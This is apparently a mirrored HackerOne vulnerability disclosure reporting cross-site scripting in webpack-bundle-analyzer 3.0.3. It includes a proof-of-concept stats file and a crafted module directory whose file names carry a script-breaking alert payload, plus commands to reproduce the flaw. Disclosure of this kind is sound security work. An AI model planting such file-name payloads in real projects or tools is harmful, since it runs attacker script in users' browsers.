HexBrain

Node.js third-party modules · Report #463380

[webpack-bundle-analyzer] Cross-site Scripting

Validstatus
mediumseverity
9upvotes
30 Dec 2019disclosed

How it was found

I would like to report Cross-site Scripting in webpack-bundle-analyzer. It allows injecting and executing arbitray JavaScript code.

Module

module name: webpack-bundle-analyzer version: 3.0.3 npm page: https://www.npmjs.com/package/webpack-bundle-analyzer

Module Description

Visualize size of webpack output files with an interactive zoomable treemap.

Module Stats

163083 downloads in the last day 952718 downloads in the last week 4033912 downloads in the last month

Vulnerability

Vulnerability Description

webpack-bundle-analyzer does not sanitize names of files and directories which may be used to inject malicious Javascript.

Steps To Reproduce:

Simple POC:

  • Install webpack-bundle-analyzer
npm i webpack-bundle-analyzer
  • create an example of webpack-stats json file

poc.json

{
  "outputPath": "./dist",
  "assets": [
    {
      "name": "</script><script>alert(1)</script>main.js",
      "chunks": [0],
      "chunkNames": ["main"]
    }
  ]
}
  • run analyzer
node ./node_modules/webpack-bundle-analyzer/lib/bin/analyzer.js poc.json

default output should be:

Webpack Bundle Analyzer is started at http://127.0.0.1:8888
Use Ctrl+C to close it
  • open the analyzer's url
http://localhost:8888
  • payload executes immidiately

More In-depth example:

Main task of the application is to visualize structure of output files compiled by webpack by parsing JSON file containing statistics about modules (https://webpack.js.org/api/stats/) generated by webpack. Projects usually include third-party modules, so by having access to thir-party module content (file names and directory structure) it is possible to manipulate the compilation statistics in compilation-stats.json file and as long as certain data from this file is passed to the page without sanitization https://github.com/webpack-contrib/webpack-bundle-analyzer/blob/master/views/viewer.ejs#L14 it is possible to inject payload

For example

this file structure:

node_modules/some-module-that-we-control/
├── <
│   └── script><script>alert(1)<
│       └── script>module-name-that-is-included-in-index.js
├── index.js
└── package.json

will result in something like this:

<script>
    window.chartData = [
{"some-data-here":
"and here</script><script>alert(1)</script>module-name-that-is-included-in-index.js",
"more-data":[]}
];
    window.defaultSizes = "parsed";
    window.enableWebSocket = true;
</script>

I created project on Github for easier explanation:

  • Download repo
git clone https://github.com/inkz/poc-webpack-bundle-analyzer.git
cd poc-webpack-bundle-analyzer/
  • Install dependencies
npm install
  • Run webpack
npm run build

Output should be:

Webpack Bundle Analyzer is started at http://127.0.0.1:8888
Use Ctrl+C to close it
  • open the url
http://localhost:8888
  • payload executes

Refer to directory structure here https://github.com/inkz/poc-webpack-bundle-analyzer/tree/master/external/node_modules/poc-module and web page source code for better understanding

Patch

Supporting Material/References:

  • OS: Linux Mint current
  • Node.js: 8.11.1
  • NPM: 6.4.0

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

An attacker that is able to control third party module can execute malicious JavaScript.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original